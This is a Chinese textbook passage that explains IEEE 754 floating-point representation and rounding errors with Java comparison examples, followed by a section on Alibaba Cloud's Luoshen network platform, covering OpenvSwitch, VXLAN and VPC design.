× 10n 还可以表示成aen,如图1-2(a)中计算器的结果所示。 - 4.86e11 等价于 -4.86 × 1011,它们都表示真实值-486000000000,具体格式说明如图1-2(b)所示。图1-2 科学计数法 科学计数法的有效数字为从第1 个非零数字开始的全部数字,指数决定小数点的位置,符号表示该数的正与负。值得注意的是,十进制科学计数法要求有效数字的整数部分必须在[1, 9] 区间内,即图1-2(b)中的“4”,满足这个要求的表示形式被称为“规格化”。科学计数法可以唯一地表示任何一个数,且所占用的存储空间会更少,计算机就是利用这一特性表示极大或极小的数值。例如,长整型能表示的最大值约为922 亿亿,想要表示更大量级的数值,必须使用浮点数才可以做到。1.2.2 浮点数表示 浮点数表示就是如何用二进制数表示符号、指数和有效数字。当前业界流行的浮点数标准是IEEE754,该标准规定了4 种浮点数类型:单精度、双精度、延伸单精度、延伸双精度。前两种类型是最常用的,它们的取值范围如表1-4 所示。表1-4 单精度和双精度 因为浮点数无法表示零值,所以取值范围分为两个区间:正数区间和负数区间。下面将着重分析单精度浮点数,而双精度浮点数与其相比只是位数不同而已,完全可以触类旁通,本节不再展开。以单精度类型为例,它被分配了4 个字节,总共32 位,具体格式如图1-3 所示。图1-3 单精度浮点数格式 从数学世界的科学计数法映射到计算机世界的浮点数时,数制从十进制改为二进制,还要考虑内存硬件设备的实现方式。在规格化表示上存在差异,称谓有所改变,指数称为“阶码”,有效数字称为“尾数”,所以用于存储符号、阶码、尾数的二进制位分别称为符号位、阶码位、尾数位,下面详细阐述三个部分的编码格式。1. 符号位 在最高二进制位上分配1 位表示浮点数的符号,0 表示正数,1 表示负数。2. 阶码位 在符号位右侧分配8 位用来存储指数,IEEE754 标准规定阶码位存储的是指数对应的移码,而不是指数的原码或补码。根据计算机组成原理中对移码的定义可知,移码是将一个真值在数轴上正向平移一个偏移量之后得到的,即[x ] 移 = x + 2n -1 (n 为x 的二进制位数,含符号位)。移码的几何意义是把真值映射到一个正数域,其特点是可以直观地反映两个真值的大小,即移码大的真值也大。基于这个特点,对计算机来说用移码比较两个真值的大小非常简单,只要高位对齐后逐个比较即可,不用考虑负号的问题,这也是阶码会采用移码表示的原因所在。 由于阶码实际存储的是指数的移码,所以指数与阶码之间的换算关系就是指数与它的移码之间的换算关系。假设指数的真值为e ,阶码为E ,则有E = e + (2n -1 -1),其中2n -1 -1 是IEEE754 标准规定的偏移量,n =8 是阶码的二进制位数。 为什么偏移值为2n -1 -1 而不是2n -1 呢?因为8 个二进制位能表示指数的取值范围为[-128,127],现在将指数变成移码表示,即将区间[-128,127] 正向平移到正数域,区间里的每个数都需要加上128,从而得到阶码范围为[0,255]。由于计算机规定阶码全为0 或全为1 两种情况被当作特殊值处理(全0 被认为是机器零,全1 被认为是无穷大),去除这两个特殊值,阶码的取值范围变成了[1,254]。如果偏移量不变仍为128 的话,则根据换算关系公式[x ] 阶= x + 128 得到指数的范围变成[ -127,126],指数最大只能取到126,显然会缩小浮点数能表示的取值范围。所以IEEE754 标准规定单精度的阶码偏移量为2n - 1 -1(即127),这样能表示的指数范围为[ -126,127],指数最大值能取到127。3. 尾数位 最右侧分配连续的23 位用来存储有效数字,IEEE754 标准规定尾数以原码表示。正指数和有效数字的最大值决定了32 位存储空间能够表示浮点数的十进制最大值。指数最大值为2127 ≈ 1.7 × 1038,而有效数字部分最大值是二进制的1.11…1(小数点后23 个1),是一个无限接近于2 的数字,所以得到最大的十进制数为2 × 1.7 × 1038,再加上最左1 位的符号,最终得到32 位浮点数最大值为3.4e+38。为了方便阅读,从右向左每4 位用短横线断开: 0111-1111-0111-1111-1111-1111-1111-1111红色部分为符号位,值为0,表示正数。绿色部分为阶码位即指数,值为2254 - 127 = 2127 ≈ 1.7 × 1038。黄色部分为尾数位即有效数字,值为1.11111111111111111111111。 科学计数法进行规格化的目的是保证浮点数表示的唯一性。如同十进制规格化的要求1 ≤ |a | < 10,二进制数值规格化后的尾数形式为1.xyz,满足1 ≤ |a | < 2。为了节约存储空间,将符合规格化尾数的首个1 省略,所以尾数表面上是23 位,却表示了24 位二进制数,如图1-4 所示。图1-4 尾数的规格化表示 常用浮点数的规格化表示如表1-5 所示。表1-5 浮点数的规格化表示 注:①尾数部分的有效数字为1.00000101100110011001101,将其转换成十进制值为1.021875,然后乘以24 得到16.35000038。由此可见,计算机实际存储的值可能与真值是不一样的。补充说明,二进制小数转化为十进制小数,小数点后一位是2-1,依次累加即可,如 1.00000101 = 1+2-6+2-8= 1.01953125。 ② 0.9 不能用有限二进制位进行精确表示,所以1-0.9 并不精确地等于0.1,实际结果是0.100000024,具体原因后面进行分析。1.2.3 加减运算 在数学中,进行两个小数的加减运算时,首先要将小数点对齐,然后同位数进行加减运算。对两个采用科学计数法表示的数做加减法运算时,为了让小数点对齐就需要确保指数一样。当小数点对齐后,再将有效数字按照正常的数进行加减运算。 (1)零值检测。检查参加运算的两个数中是否存在为0 的数(0 在浮点数是一种规定,即阶码与尾数全为0),因为浮点数运算过程比较复杂,如果其中一个数为0,可以直接得出结果。 (2)对阶操作。通过比较阶码的大小判断小数点位置是否对齐。当阶码不相等时表示当前两个浮点数的小数点位置没有对齐,则需要通过移动尾数改变阶码的大小,使二者最终相等,这个过程便称为对阶。尾数向右移动1 位,则阶码值加1,反之减1。在移动尾数时,部分二进制位将会被移出,但向左移会使高位被移出,对结果造成的误差更大。所以,IEEE754 规定对阶的移动方向为向右移动,即选择阶码小的数进行操作。 (3)尾数求和。当对阶完成后,直接按位相加即可完成求和(如果是负数则需要先转换成补码再进行运算)。这个道理与十进制数加法相同,例如9.8 × 1038 与6.5 × 1037 进行求和,将指数小的进行升阶,即6.5 × 1037 变成0.65 × 1038,然后求和得到结果为10.45 × 1038。 (4)结果规格化。如果运算的结果仍然满足规格化形式,则无须处理,否则需要通过尾数位的向左或右移动调整达到规格化形式。尾数位向右移动称为右规,反之称为左规。如上面计算结果为10.45 × 1038,右规操作后为1.045 × 1039。 (5)结果舍入。在对阶过程或右规时,尾数需要右移,最右端被移出的位会被丢弃,从而导致结果精度的损失。为了减少这种精度的损失,先将移出的这部分数据保存起来,称为保护位,等到规格化后再根据保护位进行舍入处理。 了解了浮点数的加减运算过程后可以发现,阶码在加减运算过程中只是用来比较大小,从而决定是否需要进行对阶操作。所以,IEEE754 标准针对这一特性,将阶码采用移码表示,目的就是利用移码的特点来简化两个数的比较操作。下面针对前面例子从对阶、按位减法的角度分析为什么1.0-0.9 结果为0.100000024,而不是理论值0.1。1.0-0.9 等价于1.0 + (-0.9),首先分析1.0 与-0.9 的二进制编码: 1.0 的二进制为 0011-1111-1000-0000-0000-0000-0000-0000 -0.9 的二进制为 1011-1111-0110-0110-0110-0110-0110-0110 从上可以得出二者的符号、阶码、尾数三部分数据,如表1-6 所示。表1-6 符号、阶码与尾数 由于尾数位的最左端存在一个隐藏位,所以实际尾数二进制分别为:1000-0000-0000-0000-0000-0000 和1110-0110-0110-0110-0110-0110,红色为隐藏位。下面运算都是基于实际的尾数位进行的,具体过程如下: (1)对阶。1.0 的阶码为127,-0.9 的阶码为126,比较阶码大小时需要向右移动-0.9 尾数的补码,使其阶码变为127,同时高位需要补1,移动后的结果为1000-1100-1100-1100-1100-1101,最左的 1 是图1-4 介绍的隐藏灰色的1 补进的。注意,绿色的数字仅仅是为了方便阅读,更加清晰观察到数字位的对齐或整体移动方向。 (2)尾数求和。因为尾数都转换成补码,所以可以直接按位相加,注意符号位也要参与运算,如图1-5 所示。图1-5 尾数求和示意 其中最左端为符号位,计算结果为0,尾数位计算结果为0000-1100-1100-1100-1100-1101。 (3)规格化。上一步计算的结果并不符合要求,尾数的最高位必须是1,所以需要将结果向左移动4 位,同时阶码需要减4。移动后阶码等于123(二进制为1111011),尾数为1100-1100-1100-1100-1101-0000。再隐藏尾数的最高位,进而变为100-1100-1100-1100-1101-0000,最右边的4 个0 是左移4 位后补上的。 综上所述,得出运算后结果的符号为0、阶码为1111011、尾数为100-1100-1100-1100-1101-0000,三部分组合起来就是 1.0-0.9 的结果,对应的十进制值0.100000024。至此,在本节开始处的减法悬案真相大白。 但是,浮点数的悬案并不止于此。如下示例代码为三种判断浮点数是否相等比较的方式,请大家思考运行结果是什么?float g = 1.0f - 0.9f;float h = 0.9f - 0.8f;// 第一种,判断浮点数是否相等的方式if (g == h) {System.out.println("true");} else {System.out.println("false");}// 第二种,判断浮点数是否相等的方式Float x = Float.valueOf(g);Float y = Float.valueOf(h);if (x.equals(y)) {System.out.println("true");} else {System.out.println("false");}// 第三种,判断浮点数是否相等的方式Float m = new Float(g);Float n = new Float(h);if (m.equals(n)) {System.out.println("true");} else {System.out.println("false");} 相信以上代码的运行结果会让人大跌眼镜, 输出结果为3 个false !1.0f-0.9f 与0.9f-0.8f 的结果理应都为0.1,但实际是不相等的。上面已经分析出1.0f-0.9f=0.100000024,那么0.9f-0.8f 的结果为多少呢? 0.9-0.8 等价于 0.9+(-0.8),首先分析 0.9 与-0.8 的二进制编码: 0.9 的二进制编码为 0011-1111-0110-0110-0110-0110-0110-0110 -0.8 的二进制编码为1011-1111-0100-1100-1100-1100-1100-1101 从上可以得出二者的符号、阶码、尾数三部分数据,如表1-7 所示。表1-7 0.9 与-0.8 的符号、阶码与尾数 由于尾数位的最左端存在一个隐藏位,所以实际尾数二进制分别为: 1110-0110-0110-0110-0110-0110 和1100-1100-1100-1100-1100-1101,红色为隐藏位。下面运算都是基于实际的尾数位进行的,具体过程如下: (1)对阶。0.9 和-0.8 的阶码都为 126,不需要进行移阶运算。 (2)尾数求和。因为尾数都转换成补码,所以可以直接按位相加,注意符号位也要参与运算,如图1-6 所示。图1-6 尾数求和 其中最左端为符号位,计算结果为 0,尾数位计算结果为 0001-1001-1001-1001-1001-1001。 (3)规格化。上一步计算的结果并不符合要求,尾数的最高位必须是1,所以需要将结果向左移动 3 位,同时阶码需要减3。移动后阶码等于 123(二进制为1111011),尾数为 1100-1100-1100-1100-1100-1000。再隐藏尾数的最高位,进而变为100-1100-1100-1100-1100-1000。 综上所述,得出运算后结果的符号为 0、阶码为 1111011、尾数为 100-1100-1100-1100-1100-1000,三部分组合起来就是0.9f-0.8f 的结果,对应的十进制数值为0.099999964。 至此,又揭秘了一个悬案1.0f-0.9f 的结果与0.9f-0.8f 的结果不相等。因此在浮点数比较时正确的写法:float g = 1.0f - 0.9f;float h = 0.9f - 0.8f;double diff = 1e-6;if (Math.abs(g - h) < diff) {System.out.println("true");} else {System.out.println("false");}BigDecimal a = new BigDecimal("1.0");BigDecimal b = new BigDecimal("0.9");BigDecimal c = new BigDecimal("0.8");BigDecimal x = a.subtract(b);BigDecimal y = b.subtract(c);if (x.compareTo(y) == 0) {System.out.println("true");} else {System.out.println("false");}1.2.4 浮点数使用 在使用浮点数时推荐使用双精度,使用单精度由于表示区间的限制,计算结果会出现微小的误差,实例代码如下所示:float ff = 0.9f;double dd = 0.9d;// 0.8999999761581421System.out.println(ff/1.0);// 0.9System.out.println(dd/1.0); 在要求绝对精确表示的业务场景下,比如金融行业的货币表示,推荐使用整型存储其最小单位的值,展示时可以转换成该货币的常用单位,比如人民币使用分存储,美元使用美分存储。在要求精确表示小数点n 位的业务场景下,比如圆周率要求存储小数点后1000 位数字,使用单精度和双精度浮点数类型保存是难以做到的,这时推荐采用数组保存小数部分的数据。在比较浮点数时,由于存在误差,往往会出现意料之外的结果,所以禁止通过判断两个浮点数是否相等来控制某些业务流程。在数据库中保存小数时,推荐使用decimal 类型,禁止使用float 类型和double 类型。因为这两种类型在存储的时候,存在精度损失的问题。 综上所述,在要求绝对精度表示的业务场景中,在小数保存、计算、转型过程中都需要谨慎对待。
2.3 网络2.3.1 云网络平台——洛神 阿里云操作系统叫作“飞天”,云网络平台称为“洛神”。作为飞天系统的核心组件,洛神平台支撑超大规模租户、超大规模虚拟机的高性能云网络。在飞天的基础架构里面,最上层是各种云产品,包括大家熟悉的RDS(Relational Database Service)、ECS(Elastic Compute Service)、VPC(Virtual Private Cloud)、SLB(Server Load Balancer)等,支撑这些云产品的是飞天的三个基础组件,即存储系统“盘古”、资源管理“伏羲”和云网络平台“洛神”。也就是说,洛神除支撑阿里云的网络云产品之外,还支撑其他云产品的网络基础设施。 洛神平台由很多网络设备组成,主要可以分为两类:虚拟交换机和各种网关设备。虚拟交换机负责ECS 的虚拟网络接入,网关设备提供了丰富的网络功能和服务。洛神平台架构如图2-25 所示。图2-25 洛神平台架构 从系统架构上看,洛神平台由三大模块组成,即数据平面、控制平面和管理平面。 数据平面负责云网络中数据包的处理,它就如同物理世界中的网线和路由交换设备,把数据包高效率、低延迟地从发送端送到目的地。类似地,洛神的数据平面包含各种不同角色的组件,包括支持各种不同类型计算形态的虚拟交换机、用于数据中心互连的DCN 网关、用于云网络连接公网网关、用于云上云下互连的混合云网关、提供负载均衡能力的负载均衡网关、提供端接入能力的智能接入网关。为了提高这些组件的转发性能,洛神不仅使用了软转发技术,而且还对软硬件结合甚至纯硬件技术进行了广泛应用。 控制平面则控制如何处理数据包,它是洛神的业务大脑。从技术上看,洛神的控制平面是一个层次性的分布式控制系统,最底层的设备控制器主要负责控制和管理数据平面的各种组件,同时在每个区域都存在一个虚拟网络控制器,在全局存在一个全球路由控制器。区域的虚拟网络控制器负责本区域的云网络的管理与调度,全局路由控制器则负责协调调度各个区域的资源形成一张全球的云网络。基于虚拟网络控制器和全局路由控制器之上的则是NFV 控制器,其完成虚拟网络高级功能如VPN 等产品的编排和抽象。 洛神的管理平面是网络运维和运营的中枢,它管理着海量的网元以及用户,这里的海量指的是千万级虚拟机和百万级网元。为了做到这一点,洛神的管理平台是基于大数据以及机器学习技术实现的,它对网络运行当中产生的海量数据进行实时/ 离线计算、数据建模,来驱动网络资源的提前规划、网络系统的日常维护以及网络产品的智能运营。整个管理平面包括一套高性能、分布式的数据分析系统,由它分析出来的数据被提供给智能运维系统和智能运营系统,完成资源规划、网络建设、系统变更、实时监控、故障逃逸、产品运营等整个网络产品生命周期的工作。最终实现“在无人值守状态下执行网络变更”“先于用户发现问题”“高效、简单地完成故障逃逸”等丰富且全面的产品特性和用户运营效果。 下面将重点介绍基础的云网络核心技术:网络虚拟化技术和网络功能虚拟化(NFV)技术。2.3.2 网络虚拟化 网络虚拟化技术是伴随着服务器虚拟化技术不断发展的,网络虚拟化重点解决了以下问题:虚拟机虚拟网卡如何实现,以及它如何与外界物理网络设备进行交互。 毕竟ECS 实际上是一台虚拟机,不可能每台虚拟机都对应一块真正的物理网卡。随着数据中心规模的不断扩大,传统二层组网方式逐渐暴露出一些技术短板,诸如VLAN 标签域存在数量上限4096、核心交换机MAC/ARP表项过大引发性能损耗、虚拟机跨三层网络无法热迁移等问题,严重阻碍了云数据中心规模发展。引入网络虚拟化技术,在基础网络上构建租户专有网络并构建大二层网络,是解决上述问题的一个有效方法。 如图2-26 所示,我们可以参考计算虚拟化、Overlay 的一些技术演进来了解网络虚拟化。网络虚拟化本质上是一个对虚拟机原始指令和报文进行封装/解封装的过程,让物理机系统虚拟机系统能承载,基础网络能承载虚拟网络。那么,虚拟机管理器(VMM)如何截获虚拟机网络I/O 指令,翻译成物理机内核协议栈的I/O 指令下发至网卡驱动? Overlay 技术如何基于传统IP 协议完成封装、交互和解封装,从而使得虚拟机能跨局域网甚至数据中心进行互访和迁移?这些问题通过网络虚拟化技术均可以得到完美解决。图2-26 常见的虚拟化场景 下面将介绍三种网络虚拟化技术:网卡虚拟化、虚拟交换技术和最常见的Overlay 技术——VXLAN。1. 网卡虚拟化 SR-IOV(Single Root I/O Virtualization)是基于网卡的虚拟化解决方案,可提升性能和可伸缩性。SR-IOV 标准允许在虚拟机之间高效共享 PCIe 设备,并且在硬件中实现可以获得与服务器几乎一样的性能。一个SR-IOV 设备具有一个或多个PF,PF 是标准的PCIe 设备(比如网卡)。每个PF 都可以创建多个VF,VF 是“轻量级”的PCIe 设备,每个VF 都拥有独立的收发数据包的关键资源,如收发队列、DMA 通道等,并且与其他VF 共享其他非关键的设备资源。把一个VF 分配给一台虚机,该虚拟设备就具备了直接使用该VF 进行数据发送和接收的能力,并且可以直接进行I/O 操作。2. 虚拟交换技术 虚拟机虚拟网卡是网络虚拟化的前端,其如何与物理网络设备进行交互,以及如何与其他虚拟机进行交互是实现虚拟化网络的关键。业界通用的实现方案是在物理服务器上部署一套虚拟交换机(vSwitch)作为虚拟机和物理网络的中继设备,提供基础二层转发能力和部分高级特性。 虚拟交换机有大家熟知的VMware ESXi vSwitch、开源的OpenvSwitch 和Linux Bridge,以及阿里云自研的第一代和第二代虚拟交换机AVS。下面重点介绍业界比较流行的开源虚拟交换机:OpenvSwitch(OVS)。 (1)OpenvSwitch OpenvSwitch 是一个虚拟交换机软件,支持Xen/XenServer、KVM 以及VirtualBox 多种虚拟化技术,也支持802.1Q、网卡绑定、NetFlow/sFlow、GRE和VXLAN 隧道等功能。 OpenvSwitch 主要组件有datapath、vswitchd 和ovsdb,其中datapath 是负责数据交换的内核模块,它负责从网口读取数据,并快速匹配FlowTable 中的流表项,如果匹配成功,则直接转发,否则上交vswitchd 处理,它在初始化和端口绑定时注册钩子函数,把端口的报文处理接管到内核模块中;vswitchd 是一个守护进程,它是OVS 的管理和控制服务,通过UNIX Socket 将配置信息保存到ovsdb 中,并通过NetLink 和内核模块交互;ovsdb 则是OVS 的数据库,其中保存了OVS 配置信息。 如图2-27 所示,OpenvSwitch 数据包转发流程如下: ① 设置标准以太网接口模式为混杂模式,从以太网接口中截获数据包,提取出关键字段。如果能够匹配流表,则转入⑦,否则转入②。 ② 通过调用upcall 函数,使用NetLink 协议封装数据包并上传到用户空间。在vswitchd 模块中对NetLink 消息解封装后,在ovsdb 中进行查表匹配,如果能够匹配流表,则转入④,否则转入③。 ③ 通过 OpenFlow 协议与控制器通信,控制器下发流表项,vswitchd 模块通过解析流表项得到相应的动作,同时将流表项存储到ovsdb 中。 ④ 将匹配的流表项组织成内核FlowTable 中的表项结构,并通过NetLink协议将流表项下发至内核的FlowTable 中。 ⑤ 通过调用reinject 函数,使用NetLink 协议封装数据包,重新发回至内核中。 ⑥ 重新通过datapath 模块进行流表项查找匹配。 ⑦ 根据查找结果,指导数据包的转发。图2-27 OpenvSwitch 数据包转发流程 如图2-28 所示,OpenvSwitch 可以建立网桥,将物理网卡和虚拟机TAP设备进行桥接,像交换机一样进行二层转发,为虚拟机和网络设备建立桥梁。虚拟机之间在学习到对方的ARP 信息后,可以正常通过OVS 和物理交换机进行数据转发。图2-28 OpenvSwitch 网桥 (2)虚拟交换机演进 早期的虚拟交换机大多为纯软件实现,与Hypervisor 软件混合部署,为虚拟机提供基础转发功能,满足了早期发展需求。但是随着业务规模的扩大,以及用户需求的差异化,其缺点也凸显出来。资源成本 :vSwitch 运行在宿主机上,需要独占 CPU 以及使用部分内存存取转发状态和相关配置,这就导致宿主机可售卖的CPU 和内存资源变少,造成了一定程度上的资源浪费。虚拟化开销:无论虚拟机接收还是发送报文,都需要CPU执行memcpy的内存拷贝操作,而CPU 的内存拷贝开销是非常大的,特别是在大带宽场景下,严重制约了vSwitch 的转发性能。流量无法隔离:虚拟机的流量和宿主机本身的流量(如存储流量)会互相争抢,因为大家走的都是内核网络协议栈的收发流程。当存储流量大时,必然会影响到虚拟机自身的网络流量转发。 由于纯软件虚拟交换机无法摆脱性能的限制,也使得最近几年业界开始聚焦在智能网卡(SmartNIC)上。通过将vSwitch 的部分功能或全部功能卸载转移到网卡上,利用网卡CPU 或者网卡硬件转发来提高网络性能。例如,OpenvSwitch 通过Linux TC(Traffic Control)Flower 模块可以将datapath 下沉到物理网卡,提升云了转发效率;阿里虚拟交换机基于软硬件一体化方式,使用神龙 MOC 卡实现快速转发,转发性能提升数倍,达到千万 PPS,如图2-29所示。图2-29 阿里云自研的AVS 演进3. VXLAN 技术 (1)背景 介绍完虚拟网卡和虚拟交换技术,大家了解了虚拟机虚拟网卡和宿主机、虚拟交换机、网络设备交互的流程,同时我们也需要更多思考在数据中心层面如何承载更多的虚拟机业务。传统数据中心内部二层网络多采用VLAN 技术进行租户和业务隔离,但随着业务的发展,VLAN 4096 个VLANID 规模已无法满足大规模云计算中心业务及应用组网的需求,不断扩展的虚拟机规模容易使TOR 交换机的MAC/ARP 表项面临溢出的问题,同时难以实现跨三层的虚拟机二层互通及迁移场景。 而云计算业务发展对数据中心网络的需求是:允许应用在任意(拥有空闲计算资源的)服务器上灵活部署而不受物理网络的限制,提升业务的敏捷性。支持包括站点灾难恢复、业务迁移在内的场景。跨集群甚至跨多个计算中心的可迁移性。按需进行虚拟网络部署,而无须重新配置物理网络;支持多租户环境下的大规模网络部署。 考虑到采用传统VLAN 技术部署应用存在的局限性,以及VXLAN 技术相关特性,根据云计算背景下数据中心内部二层组网需求,业界引入VXLAN技术在数据中心及城域网等场景下进行部署,试图从拓展二层子网数量、满足多数据中心场景等维度实现大规模虚拟机部署,同时VXLAN 作为OverLay隧道技术配合其他DCI 技术(如EVPN 等)能够灵活实现跨三层的二层扩展,充分满足云业务对网络承载的需求。 (2)介绍 VXLAN(虚拟可扩展局域网)是一种Overlay 网络技术,将二层数据帧封装至UDP 报文进行转发,可以跨三层网络创建一个完全虚拟化的基础二层云网络,内层的虚拟机可以跨三层物理网络访问其他虚拟机。目前洛神平台的VPC 基础隧道技术就是基于VXLAN 演化而来的,VXLAN 技术也是目前业界最流行的云网络Overlay 技术。 (3)VXLAN 报文解析 VXLAN 在内层原始以太帧基础上加了8 字节的VXLAN 头,外层分别是UDP 头、IP 头、MAC 头,共50 字节的封装报文头,如图2-30 所示(具体字段及属性参数可参见RFC 7348)。图2-30 VXLAN 报文组成示意图 (4)VXLAN 实现原理 a. VXLAN 基本概念 在VXLAN 技术实现中,涉及的基本概念有VNI(VXLAN Network Identifier)、VTEP(VXLAN Tunnel End Point)、VXLAN Segment、VXLAN Gateway 等。VNI 作为VXLAN 标识,主要用于标识不同的VXLAN 域。VTEP 可由支持 VXLAN 的硬件设备或软件来实现,其主要负责对VXLAN 报文进行封装/ 解封装,包括ARP 请求报文和正常的VXLAN数据报文,在一端封装报文后通过隧道向另一端VTEP 发送封装的报文,另一端VTEP 接收到封装的报文并解封装后根据封装的MAC 地址进行转发。所有VM(虚拟机)加入VXLAN 实际上是通过VTEP 加入一个VXLAN 关联组播组的方式来实现的:每个VTEP 上都会维护一张表,记录属于同一个VXLAN 域内VM 的MAC 地址,以及其所属主机的VTEP 的IP 地址。VXLAN Segment 表示实现 VM 之间通信的 VXLAN 二层 Overlay 网络,在这个网络内VM 可以互相通信并实现灵活迁移。VXLAN Gateway 一般被放置在应用场景的边界,对内终结 VXLAN,对外通过DCI 相关技术如EVPN 等实现跨数据中心、跨地理区域的大二层及以上网络互通。 b. VXLAN 控制平面和数据平面 VXLAN 控制平面(VNI、内层MAC、外层VTEP_IP)主要通过映射表的方式实现。对于不认识的MAC 地址,VXLAN 依靠ARP 协议及组播交互的方式来获取路径信息,同时VXLAN 还有自学习功能,当VTEP 接收到一个UDP 数据包后,会检查自己是否收到过这台虚拟机的数据,如果没有收到过,VTEP 就会记录源VNI 、源外层IP 地址、源内层MAC 地址的对应关系,避免组播学习。 在数据中心内部有控制器部署的场景下,可由控制器负责所有映射表的收集汇总并提供给各节点通过单播查询获取映射关系。 VXLAN 采用UDP 封装报文在VTEP 之间构建了基于隧道的数据平面,VTEP 可以为物理实体或逻辑实体,实现数据报文跨三层甚至跨数据中心的转发,但需注意转发途经的网络设备MTU 值的调高,保证相应的VXLAN 数据包顺利通过。VXLAN 利用IP 多播封装广播报文和多播报文,可以限制虚拟网络的广播域,从而控制广播泛洪;可以对不同的数据流使用不同的UDP 源端口实现ECMP(等价多路径负载均衡)。 c. VXLAN 发现和地址学习过程 如图2-31 所示,在VXLAN 网络模式下,主机之间的转发过程如下: ① VM-A(MAC-A、IP-1)和VM-B(MAC-B、IP-2)通过VTEP 连接到VXLAN 网络(VNI 10),两个VXLAN 主机加入IP 多播组239.1.1.1 ;VM-A以广播的形式发送ARP 请求。 ② VTEP-1 封装报文,打上VXLAN 标识为10,外层IP 头DA 为IP 多播组(239.1.1.1),SA 为IP_VTEP-1 ;VTEP-1 在多播组内进行多播。 ③ VTEP-2/VTEP-3 分别解析接收到的多播报文,填写映射表(内层MAC地址、VNI、外层IP 地址),同时相应的VM 对接收到的VM-A ARP 请求进行判断处理。 ④ VM-B 发现该请求是发给它的,于是发出ARP 响应报文。 ⑤ VTEP-2 接收到VM-B 的响应报文后, 把它封装在IP 单播报文中(VXLAN 标识为10),然后向VM-A 发送单播报文。 ⑥ VTEP-1 接收到单播报文后,学习内层MAC 地址到外层IP 地址的映射,解封装并根据被封装内容的目的MAC 地址转发给VM-A。 ⑦ VM-A 接收到VM-B ARP 应答报文,ARP 交互结束。 VXLAN 单播数据流转发过程如图2-32 所示。 按照ARP 协议完成协商应答后,VTEP-1 和VTEP-2 上都会形成一个VXLAN 二层转发表,大致如表2-1 和表2-2 所示。(不同厂商表项可能略有不同,但最主要的是其中的元素)。表2-1 VTEP-1 VXLAN 二层转发表表2-2 VTEP-2 VXLAN 二层转发表 单播数据流转发过程如下: ① VM-A 将原始报文上送到VTEP。 ② 根据目的MAC 地址和VNI,查找到外层的目的IP 地址是VTEP-2 IP地址,然后将外层的源IP 地址和目的IP 地址分别封装为VTEP-1 IP 地址和VTEP-2 IP 地址,源MAC 地址和目的MAC 地址分别为下一段链路的源MAC地址和目的MAC 地址。图2-31 VXLAN 发现和地址学习过程图2-32 VXLAN 单播数据流转发过程 ③ 数据包穿越IP 网络。 ④ 根据VNI、外层的源IP 地址和目的IP 地址进行解封装,通过VNI 和目的MAC 地址查表,得到目的端口是e1/1。 ⑤ VM-B 接受此原始报文,并回复VM-A,回复过程同上。 通过VXLAN 技术,虚拟化平台可以跨三层网络甚至跨数据中心建立,虚拟机之间通过大二层进行互访。同时基于VXLAN 技术和虚拟交换技术、SDN技术的结合,也提供了大规模租户网络隔离方案、可行的虚拟机热迁移方案、ARP 代理和单播方案,为大规模云计算中心构建打下了基础。2.3.3 NFV 关键技术 NFV 即网络功能虚拟化,通过使用x86 等通用性硬件以及虚拟化技术,承载多功能的软件处理;通过软硬件解耦及功能抽象,使网络设备功能不再依赖专用硬件,充分灵活共享资源,实现新业务的快速开发和部署,并基于实际业务需求进行自动部署、弹性伸缩、故障隔离和自愈等。洛神平台提供了NFV 平台,各业务网元可通过该平台进行构建,如VPC 网络、弹性IP 地址、流量控制、NAT 网关、SLB 等,下面章节将重点展开介绍。1. VPC 网络 随着云计算的不断发展,对虚拟化网络的要求越来越高,例如,要求具有弹性、安全性(Security)、可靠性(Reliability)和私密性(Privacy),并且还有极高的互联性能(Performance)需求,因此催生了多种多样的网络虚拟化技术。 随着虚拟化网络规模的扩大,这种方案中的网络隔离性、广播风暴、主机扫描等问题会越来越严重,同时私网IP 地址限制、用户无法自定义网络编排等也给用户体验带来了影响。为了解决这些问题,阿里云引入了虚拟专有网络(Virtual Private Cloud,VPC),为用户提供可靠、安全、可编排的网络服务。 (1)VPC 概念 VPC 是基于阿里云构建的一个隔离的网络环境,专有网络之间逻辑上彻底隔离。专有网络是用户自己独有的云上私有网络。简单来说,就是用户的云上网络不再是和其他用户共享的网络,而是有自己的独立网络配置空间,对其他用户是不可见的。 举个例子,A 用户使用了192.168.0.1 这个IP 地址,B 用户也可以使用,但A 用户的任何网络配置都不会影响B 用户,因为这两个用户都处于各自的虚拟专有网络中,互不影响。 用户可以完全掌控自己的专有网络,比如选择IP 地址范围、配置路由表和网关等,用户可以在自己定义的专有网络中使用阿里云资源如ECS、RDS、SLB 等。 用户可以将自己的专有网络连接到其他专有网络或本地网络,形成一个按需定制的网络环境,实现应用的平滑迁移上云和对数据中心的扩展,如图2-33所示。图2-33 专有网络互联 (2)组成部分 每个VPC 都由一个路由器、至少一个私网网段和至少一个交换机组成,如图2-34 所示。图2-34 VPC 组成元素私网网段。在创建专有网络和交换机时,需要以CIDR 地址块的形式指定专有网络使用的私网网段。路由器。路由器(vRouter)是专有网络的枢纽。作为专有网络中重要的功能组件,它可以连接VPC 内的各个交换机,同时它也是连接VPC和其他网络的网关设备。每个专有网络创建成功后,系统都会自动创建一个路由器,每个路由器都关联一张路由表。交换机。交换机(vSwitch)是组成专有网络的基础网络设备,用来连接不同的云资源。创建专有网络后,可以通过创建交换机为专有网络划分一个或多个子网。同一专有网络内的不同交换机之间内网互通,可以将应用部署在不同可用区的交换机内,提高应用的可用性。 (3)原理描述 基于目前主流的Overlay 技术——VXLAN,专有网络隔离了虚拟网络。每个VPC 都有一个独立的VNI,一个VNI 对应着一个虚拟网络。一个VPC 内的ECS 实例之间的数据包传输都会加上隧道封装,带有唯一的VNI,然后送到物理网络上进行传输。不同VPC 内的ECS 实例因为所在的VNI 不同,本身处于两个不同的路由平面,所以它们之间无法进行通信,天然地进行了隔离。 基于Overlay 技术和软件定义网络(Software Defined Network,SDN)技术,阿里云研发团队在硬件网关和自研交换机设备的基础上实现了VPC 产品。 (4)逻辑架构 如图2-35 所示,VPC 包含交换机、网关和控制器三个重要组件。交换机和网关组成了数据通路的关键路径,控制器使用阿里云自研的协议下发转发表到网关和交换机,完成了配置通路的关键路径。整体架构里面,配置通路和数据通路互相分离。交换机是分布式的节点,网关和控制器都是集群部署且是多机房互备的,并且所有链路上都有冗余容灾,提升了VPC 产品的整体可用性。图2-35 VPC 逻辑架构2. 弹性IP 地址 IP 是 Internet Protocol 的缩写,它是为计算机互联而设计的协议,是 TCP/IP 网络模型的基础协议,是现行网络体系中重要的传输媒介。IP 地址分类有多种方式,比如在日常使用中,常将 IP 地址分为私网地址和公网地址,由于公网地址资源的匮乏,常通过 NAT 的方式访问公网地址;按协议族可分为 IPv4地址和 IPv6 地址。 